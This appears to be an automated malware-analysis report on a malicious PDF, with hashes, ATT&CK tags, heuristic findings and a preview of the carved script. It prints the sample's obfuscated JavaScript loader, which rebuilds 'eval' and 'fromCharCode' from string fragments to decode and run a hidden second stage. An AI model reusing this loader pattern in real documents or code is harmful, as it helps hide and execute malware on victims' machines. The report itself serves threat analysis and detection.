Malicious PDF — malware analysis report

Static analysis result for SHA-256 196239fda401e7f9…

MALICIOUS

PDF

45.3 KB First seen: 2026-05-08
MD5: 56b898ea030e9fb6a468d7c8eaa88481 SHA-1: 52ccac8229c15feadb0dd3089af2a73a15838a62 SHA-256: 196239fda401e7f9b5b1b6e6d0b6f9a2b21a2a9ab95e8baa174287e23439cf09
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF document contains obfuscated JavaScript, identified by heuristics as a loader. This script reconstructs and executes a second-stage payload, likely a downloader, based on its structure and the presence of JavaScript execution techniques. The ML classifier strongly indicates maliciousness, and the overall pattern suggests a spearphishing attachment used to deliver further malware.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB27A 446 bytes
SHA-256: 381dead2d5ee87b163c831c2ae0257cc59b959fb8e1840e1c58344a4a6089a91
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
jijoq='';
yulg=('qwrwqr','tit');
e('xhm=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
ciir=e('String.fr'+xhm.substr(0,10));
pbfu = e(xhm.substr(10)['replace'](/u/g,','));
e('k=pbfu.length');
for (i = 0; i < k; i+=2) {
	lfzn = pbfu[i+1] + ('erybjkerl',pbfu[i]);
	jijoq += ciir(lfzn);
}
e(jijoq);

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